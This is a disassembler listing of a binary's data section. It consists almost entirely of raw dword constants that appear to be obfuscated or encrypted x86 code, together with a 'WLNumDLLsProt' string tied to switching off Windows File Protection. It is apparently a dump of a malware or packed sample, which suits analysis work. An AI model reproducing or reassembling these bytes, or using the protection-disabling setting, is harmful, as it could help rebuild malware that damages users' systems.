		dd 7D3B4505h, 92A6EC74h, 663C5511h, 5241B0E6h, 0D388A9FDh
		dd 0B6D01D94h, 0FC57029Fh, 0F9D702BAh, 2D7F580Dh, 82B8E26Bh
		dd 67113215h, 1012E4F3h, 9680A2F1h, 0BBDB089Ah,	0BD4215CFh
		dd 0B0E547AFh, 2D68431Eh, 83E1F169h, 657F5902h,	104FA7E2h
		dd 808FA4CCh, 0B3D71AD9h, 0F24C578Ah, 0F9C740A0h, 6669591Bh
		dd 99AFE226h, 6B6E571Dh, 0A9h, 27h dup(0)
dword_545350	dd 0B9h	dup(0)		; DATA XREF: ___:off_43CCE4o
aWlnumdllsprot	db 'WLNumDLLsProt',0
a0		db '0',0
		dd 8 dup(0)
		dd 78450000h, 53207469h, 75746174h, 203D2073h, 6425h, 0
		dd 0E9000000h, 2DC0h, 2C71BD89h, 6AFC05EAh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 4172C356h
		dd 81500EDDh, 0E61F90B4h, 1C459D8Bh, 0C08B05EAh, 2325958Bh
		dd 0BD8305EAh, 5EA13D9h, 83097500h, 0EA2EE5BDh,	13740005h
		dd 0C08B5350h, 1B8h, 979D8D00h,	0FF05ECDCh, 83585BD3h
		dd 0EA2EE5BDh, 11740005h, 1B85350h, 8D000000h, 0ECDB489Dh
		dd 5BD3FF05h, 81665158h, 5BFC2AE3h, 0F98AD98Ah,	9008DA81h
		dd 0C08B6C20h, 6870F50h, 8B000000h, 0EA1E3D9Dh,	0BD835A05h
		dd 5EA2EF9h, 0D1840F00h, 83000001h, 0EA02A9BDh,	840F0005h
		dd 1C4h, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 14h,	2BC35646h, 9E65E381h, 8A601600h, 799D8BF3h, 8B05EA20h
		dd 0EA02A985h, 0D78BFC05h, 3E805h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 0D7245D9Eh
		dd 0D78B50C5h, 6A240489h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 0E377C356h,	9A7BEF2Bh
		dd 0DCC96F80h, 0C6A4BB66h, 4BFD858Dh, 6A05EAh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 7A3F60C3h, 0C9F9FA8h, 0D3804717h, 0F6BB900Ah, 505F32A4h
		dd 0AE9h, 75201D00h, 0B6AE793Fh, 905C2BF2h, 4BDB858Dh
		dd 6A05EAh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 17FC8AC3h, 8DD79C37h, 0BA3D9135h,	66086EE8h
		dd 0E8F0F90h, 50000000h, 0F5A5052h, 0F525031h, 5A585A31h
		dd 8FB25058h, 0DE990h, 0FD850000h, 0AB2B3F97h, 0DF223265h
		dd 0FFA4B08Eh, 0EA0C6995h, 0C483FC05h, 759D8B0Ch, 8D05EA25h
		dd 0EA4BDB85h, 999D8B05h, 5005EA2Ah, 12870Fh, 6E80000h
		dd 0C9000000h, 2497DC9Eh, 0F525001h, 5A585A31h,	31240489h
		dd 0EA116D85h, 6A026A05h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 40D1C353h, 0F60F4D5h
		dd 680h, 11BD8900h, 6105EA2Eh, 857495FFh, 85890068h, 5EA1D35h
		dd 50006A61h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 85891F02h, 5EA1E7Dh, 4C0E85C7h, 105EAh
		dd 60600000h, 0E13B91BBh, 0F528BE23h, 0E8614551h, 13h
		dd 0DF577C0Bh, 7FEDFAADh, 279D4BC6h, 339AE408h,	0F71F3DBh
		dd 615FF9BFh, 0E9525050h, 12h, 292E832Eh, 0F98F5CE8h, 3B728F0Fh
		dd 15AA6C17h, 310F2A5Ch, 585AD78Bh, 66243489h, 9D8BDA8Bh
		dd 5EA0EF5h, 4BBFB589h,	958B05EAh, 5EA09DDh, 2D1BD83h
		dd 0F0105EAh, 8885h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 0AE0126Fh, 0F883CDCEh
		dd 5E850F05h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 2ADC357h, 0BF4F810Dh
		dd 52575461h, 11199523h, 5B5A05EAh, 0B8h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
		dd 0C8D35F3Bh, 0CF1CD0EAh, 8BD78BDEh, 0EA12CD95h, 0FDBD8305h
		dd 5EA0Fh, 17840Fh, 0B80000h, 0F000000h, 689h, 418D2900h
		dd 8105EA31h, 2797B6EAh, 6A6060h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 99D87C3h, 0EA0BD1B5h
		dd 819D2B05h, 8B05EA0Dh, 0EA0C9585h, 15800F05h,	0F000000h
		dd 0F80h, 9E800h, 0C1850000h, 0FAC9D53Fh, 5B6B26C1h, 6602C083h
		dd 8589DE8Bh, 5EA4BB7h,	858B6060h, 5EA15C9h, 816661F5h
		dd 6152D8E3h, 9FF00C6h,	0EA0131B5h, 39958B05h, 0C605EA31h
		dd 0EA1A4585h, 8B665305h, 0DDBB68DFh, 348187BAh, 0B956324h
		dd 35958B7Bh, 8B05EA02h, 0EA13859Dh, 8DB5FF05h,	6A05EA23h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 0A7EAC353h, 67C8264Ch, 0F9FCFED2h, 0AFA0858Dh
		dd 5E805EDh, 0F9000000h, 73CB3D0Ah, 1B21B589h, 0FF5A05EAh
		dd 12E9D0h, 0DECE0000h,	0CD064FD2h, 47105587h, 3AE37819h
		dd 0AD59BB3Dh, 10158589h, 0BD8305EAh, 5EA0FC9h,	0DA850F01h
		dd 66000000h, 2D3EC281h, 56006A61h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 9E05D2ACh, 74723EA0h
		dd 0D9958B93h, 0C605EA00h, 0EA1A4585h, 52684505h, 50B774F5h
		dd 0FDF8B52h, 81585A31h, 0CD902434h, 6A6D14h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 0C9222CC3h
		dd 8DB5FF49h, 0B205EA23h, 0A0858DFAh, 6A05EDAFh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 9749C352h, 8D0F51ABh, 0Eh, 9E9h, 87898000h, 5DED00D1h
		dd 0BBB2F2F1h, 10E9D0FFh, 99000000h, 0FEE49C76h, 0DE99A394h
		dd 6221AC0Bh, 6AA9AC53h, 0C1953300h, 0FF05EA2Ch, 6830FD0h
		dd 8B000000h, 0EA29B195h, 0E1BD8305h, 105EA2Ah,	0E4850Fh
		dd 830F0000h, 8, 9950352h, 5A05EA1Ah, 0C95858Bh, 9D8B05EAh
		dd 5EA23D5h, 78E9h, 5E900h, 35760000h, 90699ECCh, 7E9h
		dd 0A3636500h, 1309F69Eh, 90DA8B50h, 0CE8h, 7B578800h
		dd 67103562h, 0B3678F2Ah, 146A5A64h, 32618589h,	95FF05EAh
		dd 5EA1015h, 107D958Bh,	6A5805EAh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 9840C352h
		dd 92A0E23Fh, 0E820F0Ah, 60000000h, 0B9D958Bh, 810F05EAh
		dd 0
dword_545CA4	dd 388061h, 0FF89850Fh,	9D8BFFFFh, 5EA1A8Dh, 6A0100C6h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 0F036C355h, 0F87C1E87h, 8166865Eh, 0E9DFDCC3h
		dd 0Bh,	8EDC67D2h, 6628BD37h, 6674FB3Bh, 8161D98Bh, 0DF16F6DBh
		dd 0CDBD8363h, 5EA05h, 60840Fh,	6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 0D6B6EAC3h
		dd 958B8486h, 5EA1CA1h,	0B589FF6Ah, 5EA2BD9h, 101595FFh
		dd 840F05EAh, 0Dh, 8E9h, 0AEA82300h, 834C277h, 0FFDAE9CBh
		dd 3160FFFFh, 0EA12CDB5h, 6820F05h, 89000000h, 0EA3199B5h
		dd 85C76105h, 5EA05CDh,	1, 2E159D8Bh, 858905EAh, 5EA4BC3h
		dd 2B18529h, 0E85005EAh, 14h, 28E2377Dh, 7C38AD85h, 0B22849F2h
		dd 0DEAB2ED5h, 52C1EE25h, 0D38B6657h, 4895B5Bh,	7D8D0124h
		dd 6005EA1Ch, 0B8B6BB66h, 6A056Ah, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 0ECFB13C3h, 0FFDAE3D8h
		dd 16998589h, 0C28005EAh, 0DB858DD4h, 8005EA4Bh, 6090E4EFh
		dd 5060E78Ah, 5A310F52h, 0EE858h, 46080000h, 0BCACD8CFh
		dd 141E2FCEh, 5EE902B1h, 5061615Fh, 0C820Fh, 830F0000h
		dd 6, 8E0Fh, 6A900000h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 9E23C351h, 5840Fh
		dd 0AABA0000h, 8D71715Eh, 0EA4BCB85h, 5AF95605h, 50F08A90h
		dd 0DF8B5250h, 0FEB3310Fh, 6A90585Ah, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0E381C352h
		dd 30DC514Dh, 0DB26B1F0h, 5E9h,	598D600h, 95FF706Ch, 5EA11F1h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 5CC35646h
		dd 9F078C0h, 0D1BF0F45h, 797A8D8Dh, 6A05EAh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 2D9145C3h
		dd 66C799DAh, 0BEB3BBAh, 8D1174C0h, 0EA4BDB85h,	0D1FF5005h
		dd 4BF98589h, 0AEB05EAh, 4BF985C7h, 0FFFF05EAh,	8D09FFFFh
		dd 5EA29B1h, 3161FD8Ah,	0EA07E9B5h, 0C6D78B05h,	0EA1A4585h
		dd 8C0F4D05h, 15h, 10E9h, 1D11B700h, 33FBD894h,	3BE15A6Ah
		dd 0D8BCD6FCh, 45BD2913h, 0E805EA2Fh, 4, 0A43576A8h, 7E960h
		dd 6F360000h, 0E4F7692Fh, 8F01BBABh, 50610601h,	0E08442BAh
		dd 24448B18h, 6E5ABA04h, 8B224Dh, 0AE8h, 8AE43800h, 0C8AB1049h
		dd 0E9F9AE72h, 0Bh, 1A872C4Ah, 8C0BFE45h, 5AD1406Dh, 4244489h
		dd 3009F5BAh, 0F2815815h, 5CEFB560h, 0F6DB5FFh,	816605EAh
		dd 8D6B1EDAh, 0EDAFA085h, 0D7BF0F05h, 11399589h, 0D0FF05EAh
		dd 5E9h, 206D6C00h, 8589B025h, 5EA02F9h, 6810Fh, 0BD290000h
		dd 5EA0635h, 1A4585C6h,	8B4505EAh, 0EA00959Dh, 0B2326805h
		dd 9E88CE4h, 0CA000000h, 54E352E0h, 1699AB9Fh, 815AFD8Ah
		dd 0DB5B2434h, 8D310296h, 5EA063Dh, 238DB5FFh, 858D05EAh
		dd 5EDAFA0h, 0FFDA8B66h, 66D68BD0h, 3810EB81h, 2E7D8589h
		dd 0EE905EAh, 5B000000h, 0C91B1700h, 0F82430F0h, 0D692D4B6h
		dd 31D28B7Ah, 0EA1B0DB5h, 0D98C6605h, 6953BA66h, 0F04C1F6h
		dd 28184h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1D04h, 0C3504000h, 0F1160144h, 0C9C1A7F5h, 57E9972Eh
		dd 66000001h, 0BCF7D281h, 0F5B58Bh, 6A05EAh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 41A37CC3h
		dd 22778E1Ch, 8164B332h, 1180C6h, 58D0F00h, 0BB000000h
		dd 2F76D101h, 1CD1BD83h, 0F0005EAh, 5C85h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
		dd 0E9C87B75h, 7, 2776D22Fh, 0E90037DBh, 0C8h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0D9C35141h, 6E43C6C7h
		dd 77992A81h, 0BD8589C7h, 0B705EA29h, 3E8357h, 92840Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 8FDB9FC3h, 28E5958Bh, 6A6005EAh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 507BC357h, 1ED18529h, 146A05EAh, 96C6BB66h, 101595FFh
		dd 880F05EAh, 3, 61DE8B66h, 7219D29h, 8EE905EAh, 6AFFFFFFh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 11BAC353h, 530D148Ah, 0C28109A1h,	6D728484h
		dd 106C7h, 95330000h, 5EA2F21h,	6B19D8Bh, 0BD8305EAh, 5EA4BC3h
		dd 0F3850F05h, 0E9000000h, 8, 0FA53B0B3h, 5F556453h, 2E7DB58Bh
		dd 6A05EAh, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 0E9FC34C3h, 13h, 9E585ACBh, 0E20A1C9Dh, 5BD465BDh
		dd 21681DFDh, 0FD6F5C6h, 684h, 619D8B00h, 0B905EA07h, 64h
		dd 2545BD09h, 9D8905EAh, 5EA2DF5h, 0FE83E80h, 0A84h, 0D9BF0F00h
		dd 12E9h, 80E2B300h, 0FC2057Eh,	4B84h, 9B58900h, 4605EA2Ah
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 4BC35141h
		dd 9AFB91h, 6890Fh, 8D890000h, 5EA1705h, 0A9850F49h, 9FFFFFFh
		dd 0EA1259BDh, 2CE905h,	9D090000h, 5EA1181h, 1439B589h
		dd 6A05EAh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 0A5B2F8C3h, 89585BB7h, 0EA0C6195h, 0E9BD8305h
		dd 5EA05h, 10A840Fh, 12E80000h,	0BE000000h, 86B0C0E4h
		dd 0D7B2A24Eh, 0DFAE80D3h, 2878487Ah, 599D09DBh, 5A05EA11h
		dd 4585C660h, 5405EA1Ah, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 18h, 20C35646h, 0F69365F2h, 68DFB70Fh, 0A8CD6C44h
		dd 438FBB66h, 0B0243481h, 0BA5783D2h, 368E608Ch, 0CA19D23h
		dd 0B5FF05EAh, 5EA238Dh, 942012BBh, 0A0858D5Bh,	8B05EDAFh
		dd 0EA068995h, 6AD0FF05h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 42A0C352h, 0DD6FD429h
		dd 0F27525Ch, 0B88h, 6E900h, 0F52B0000h, 6CACE899h, 8E9006Ah
		dd 44000000h, 2658D2B1h, 0FFD4974Ch, 0EA05E9B5h, 0FFDF8B05h
		dd 336056D0h, 0EA0EE98Dh, 0F19D3305h, 6105EA0Eh, 11B5295Bh
		dd 6105EA29h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 14h,	65C35545h, 68E0Fh, 0BD310000h, 5EA2309h, 81985C7h
		dd 105EAh, 850F0000h, 6, 1BC1958Bh, 0E86005EAh,	6, 0EF477632h
		dd 9D8B4A27h, 5EA1A5Dh,	0FE0E685Ah, 0DF8B395Bh,	8E243481h
		dd 6A395BFEh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 441C355h, 0ECF0D5B4h, 0FF6A8F7Fh
		dd 1C959D0Bh, 95FF05EAh, 5EA2999h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 0BAC35646h,	0F2CCDBDh, 680h
		dd 0E9958B00h, 6105EA0Fh, 6999D8Bh, 0E95005EAh,	12h, 0C55174C8h
		dd 5B86E7D5h, 9474DD97h, 0CDF0DC11h, 489E641h, 8BDA8B24h
		dd 0EA131185h, 50006A05h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 9E988C8h, 0C0000000h, 79731960h, 1D2BB9BAh, 840FC00Bh
		dd 52h,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh
		dd 0A6C35141h, 6198F245h, 0C2E6C3BFh, 8195FF8Dh, 6A05EA16h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 26BFC356h, 0D883D89h, 0FC9267Fh, 85C7D6B7h
		dd 5EA14B1h, 1,	0BBB6660h, 0DE935h, 30FE0000h, 3677B202h
		dd 9D7F8ACAh, 6113C433h, 5F1BD83h, 0F0005EAh, 3D84h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 0EBB09BFAh, 9D3DBCD1h, 329D9D89h, 816605EAh,	0FF0399C3h
		dd 0EA2CA195h, 27E68005h, 2B0DBD89h, 0BD8305EAh, 5EA24C1h
		dd 30840F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 1D17C352h, 95BD894Ah
		dd 0FF05EA1Dh, 0EA2CB595h, 319D2305h, 8305EA2Dh, 0EA1C2DBDh
		dd 840F0005h, 58h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 5CC35646h, 10E952h, 71CB0000h, 8A95C9A6h
		dd 1A2960B0h, 2B3EEBD7h, 835B3578h, 0EA2AF9BDh,	850F0005h
		dd 18h,	0B1EFC281h, 9D8B10EFh, 5EA3101h, 14A595FFh, 8D8905EAh
		dd 5EA307Dh, 3319BD83h,	0F0005EAh, 4884h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
		dd 0D354F759h, 0E9C9BB66h, 0D798581h, 400305EAh, 36BA0000h
		dd 81398EBAh, 0EA076985h, 400305h, 6820F00h, 89000000h
		dd 0EA2EA9B5h, 0E8310F05h, 9, 0B2C0D6F8h, 6369E33Dh, 8D8D5AC7h
		dd 5EA5BFBh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ch,	6BC35242h, 86D2403h, 25FAB58Ah,	1C418D89h, 18905EAh
		dd 1C7D9D89h, 0C23305EAh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 9DC35343h, 0BDC2367Fh, 3307BF05h, 0EA08099Dh
		dd 13E905h, 433B0000h, 0AD6E2CDh, 0FAE0A264h, 0D1A4A6A2h
		dd 16B27B07h, 441892Ch,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 0BCC35040h, 0AE10C602h, 9D8B84EFh, 5EA1699h
		dd 69B2310Fh, 5C0A8D8Dh, 6A05EAh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 803A33C3h, 18995C6h
		dd 0FB5958Bh, 0C23305EAh, 0DB81B7B7h, 0C1768EFh, 6A044189h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 147BC356h, 0EE960h, 0E1010000h, 0B43F5A50h
		dd 28F816A6h, 2FEAE15Bh, 14850Fh, 0EE80000h, 87000000h
		dd 44B833B1h, 8F0858D4h, 714CC855h, 83615AE1h, 0EA24B1BDh
		dd 840F0005h, 3Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 1FC35646h, 0C78AA236h, 0BAD958Bh, 95FF05EAh
		dd 5EA3069h, 0BE9h, 0E5131800h,	2C74959Bh, 14668B89h, 0C9DBD83h
		dd 0F0105EAh, 5685h, 0D78B6600h, 0E9D0BF0Fh, 4Bh, 9BF38166h
		dd 0BEB58B7Dh, 0C705EA5Dh, 6, 0DFB58B00h, 0C705EA5Ah, 6
		dd 6AF9CF00h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 5FF2C350h, 0DA336B00h,	8B2D30EFh
		dd 99D89DEh, 8305EA1Bh,	0EA14B1BDh, 840F0005h, 0D9h, 0BD8364B2h
		dd 5EA1245h, 0B7850F01h, 3000000h, 0EA1E9195h, 0B78D8B05h
		dd 8105EA4Bh, 0F105F1D2h, 1C60Dh, 23E5958Bh, 0E86005EAh
		dd 0Ah,	4493D358h, 6A6948C1h, 800FDD28h, 6, 3139B529h
		dd 685B05EAh, 2A8771B9h, 6745BA66h, 39243481h, 8B2A8771h
		dd 0EA1E6D9Dh, 31D38105h, 6A275165h, 86BA60FFh,	90D3AA0h
		dd 0EA182D95h, 0EF806105h, 9995FF00h, 6605EA29h, 61475DBBh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0AC35646h
		dd 6612B2BFh, 0D52BC381h, 16D95FFh, 0BD8905EAh,	5EA151Dh
		dd 4BB78D8Bh, 9D8905EAh, 5EA1611h, 1FEDF8Bh, 15F59D8Bh
		dd 0BD8305EAh, 5EA0255h, 6850F01h, 89000000h, 0EA0A61BDh
		dd 6AC08B05h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 0BF68C355h, 0FE9F340h,	28000000h
		dd 0D576508Dh, 0A228D94Ah, 0FB004FFCh, 0BD83CA5Bh, 5EA13D9h
		dd 83097500h, 0EA2EE5BDh, 1A740005h, 0C08B5350h, 0D79858Bh
		dd 858905EAh, 5EA0D79h,	0DDF59D8Dh, 0D3FF05ECh,	0BD83585Bh
		dd 5EA2EE5h, 50187400h,	79858B53h, 8905EA0Dh, 0EA0D7985h
		dd 0E49D8D05h, 0FF05ECDAh, 60585BD3h, 66B5BE60h, 9D0169B6h
		dd 5EA112Dh, 0EAC88161h, 611A28E9h, 7D19D03h, 0C08B05EAh
		dd 0C7D8529h, 0BD8305EAh, 5EA14B1h, 3D850F00h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 0FA79C355h, 0A47D4A11h, 0CC12BA66h, 24D5BD83h
		dd 0F0005EAh, 0B84h, 8B666000h,	35BD8BD7h, 6105EA23h, 14B1BD83h
		dd 0F0005EAh, 5E84h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 357576B0h, 89442289h
		dd 0EA30F1B5h, 99BD8305h, 5EA14h, 29840Fh, 8B0F0000h, 6
		dd 1DA5958Bh, 10E805EAh, 21000000h, 62E9DEC7h, 7E49300Bh
		dd 88FB2F51h, 5773A60Bh, 2BF38166h, 835A5B3Ch, 0EA14B1BDh
		dd 840F0005h, 44h, 2DF28166h, 79958B1Ch, 8305EA15h, 0EA1499BDh
		dd 840F0005h, 2Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 4BC35545h, 0EB779D1Bh, 7E9h, 0AE082100h
		dd 0D0F9B697h, 14B1BD83h, 0F0005EAh, 1F84h, 4D8D8900h
		dd 8105EA1Ah, 6BF685E2h, 0E9BD834Fh, 5EA09h, 6840Fh, 958B0000h
		dd 5EA2AE5h, 14B1BD83h,	0F0005EAh, 3E84h, 0F5BD2900h, 8305EA0Eh
		dd 0EA12A1BDh, 840F0005h, 2Bh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 91C35040h, 0BA78274Dh, 31495A6Ah
		dd 1BBD95FFh, 8BF505EAh, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 8D4B5672h, 0B9EDE4E1h
		dd 0D9D8B84h, 8305EA33h, 0EA13D9BDh, 9750005h, 2EE5BD83h
		dd 740005EAh, 8B53501Ah, 69858BC0h, 8905EA07h, 0EA076985h
		dd 5C9D8D05h, 0FF05ECDEh, 83585BD3h, 0EA2EE5BDh, 18740005h
		dd 858B5350h, 5EA0769h,	7698589h, 9D8D05EAh, 5ECDAFDh
		dd 585BD3FFh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 17h,	0CDC35747h, 0F5C59E90h,	2535BD29h, 0CE805EAh, 93000000h
		dd 38FA16E8h, 0EB316E73h, 80A00700h, 895A01CAh,	0EA07C5BDh
		dd 8BC08B05h, 0B1BD83D1h, 5EA14h, 429840Fh, 9D8B0000h
		dd 5EA2AB9h, 83D9B70Fh,	0EA0FC9BDh, 840F0205h, 5Dh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 2FC35545h, 53EB7AA8h
		dd 0A2B48B87h, 38E0Fh, 8B660000h, 9DBD83D6h, 105EA0Ch
		dd 23850Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 0EA28D1C3h
		dd 82A580B0h, 0BDBD8323h, 5EA20h, 0A1840Fh, 0D2810000h
		dd 7017C59Ch, 95095060h, 5EA02A5h, 0B78D8B5Bh, 0E805EA4Bh
		dd 6, 2D3CFA52h, 0F7801E17h, 1FE5AD9h, 0E2CB8166h, 7D9D8B8Ch
		dd 6805EA30h, 56D686BEh, 81D18B66h, 863E2434h, 958956D6h
		dd 5EA1BA5h, 6AFF6Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 3F294FC3h, 1A320D8Dh, 9995FF82h
		dd 8905EA29h, 0EA19ED9Dh, 8C0F6105h, 6,	2975958Bh, 896005EAh
		dd 0EA07BD95h, 10E905h,	37210000h, 7CC040F6h, 8A29703Ah
		dd 0B1B891Ch, 606105ABh, 6C00BB66h, 4BB78D8Bh, 0B70F05EAh
		dd 0FED08BD6h, 3268FC01h, 0BB39129Eh, 41E23989h, 0B2243481h
		dd 6A39129Eh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 4C05C352h, 0B7446EBCh,	6AEFB777h
		dd 0EE9FFh, 0C9B00000h,	7F4525CFh, 4153AD2Eh, 0CF7AC42Ch
		dd 299995FFh, 0BD8905EAh, 5EA09F1h, 0B2CE8061h,	1A91BD8Dh
		dd 858905EAh, 5EA0EA9h,	6A1C4F8Bh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0BAA7C353h
		dd 7DD66F27h, 0B6C0EAD8h, 0D5BD09B4h, 6A05EA17h, 51958B01h
		dd 5005EA2Eh, 6341BA66h, 6A240C89h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0CE22C352h
		dd 0AD5CE6B5h, 2A158D89h, 13B605EAh, 7071858Dh,	6A05EDh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 0CF5B1EC3h, 9D0BEA27h, 5EA0FB1h, 0F18AD0FFh,	89204F8Bh
		dd 0EA1B4985h, 66036A05h, 91E5A1BBh, 7E8ABB66h,	8B609150h
		dd 858D61DAh, 5ED7071h,	0D059D8Bh, 0D0FF05EAh, 0BD8DDA8Bh
		dd 5EA1A91h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	7DC35343h, 0BCE09465h, 3324F922h, 8EF280BDh, 0BDDBA66h
		dd 0BA1C4F8Bh, 158CF369h, 9D2B016Ah, 5EA09A9h, 0D68B6650h
		dd 8B240C89h, 0EA240195h, 0D1BF0F05h, 7071858Dh, 13E905EDh
		dd 0D0000000h, 6B3BF6B0h, 0E15668ECh, 35235E9Fh, 0E0029E57h
		dd 0D0FFC81Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 17h,	8FC35747h, 0F502E38h, 28Ah, 0B7D68B00h,	204F8B68h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 30C35747h
		dd 0BE98Fh, 3D9A0000h, 35B4A45Bh, 9B1780B2h, 19D8B3Fh
		dd 6A05EA1Bh, 0ED9D8903h, 6005EA06h, 47F56BBAh,	0E891616Eh
		dd 0Eh,	0FFF05E5Ah, 1A22CFB0h, 2221EC92h, 0BB661F2Ch, 505B34C8h
		dd 7BB6657h, 8A915A9Dh,	71858DF7h, 8905ED70h, 0EA17218Dh
		dd 8BD0FF05h, 0EA238195h, 0B78D8B05h, 8A05EA4Bh, 6601FEF8h
		dd 8BECF0BBh, 0EA4BB785h, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 1EDB709Ch
		dd 0FD958B68h, 0FE05EA10h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 919FDA03h
		dd 0BA6682E7h, 9D319E50h, 5EA3199h, 7B99D23h, 16A05EAh
		dd 1AA0A2BBh, 4E867h, 9FFF0000h, 1BBAFFFFh, 50718D97h
		dd 156CB4BAh, 24448B63h, 1BB6604h, 0BA008BBDh, 288C24D8h
		dd 4244489h, 6058D68Bh,	8B66D7B3h, 858D61F0h, 5ED707Bh
		dd 0FFADF380h, 6D9D8BD0h, 8305EA32h, 0EA24D5BDh, 840F0005h
		dd 0DCh, 11619D8Bh, 0BD8305EAh,	5EA02D1h, 0C9850F01h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 1B2EC356h, 0A18D3360h, 8B05EA0Bh,	0EA121995h
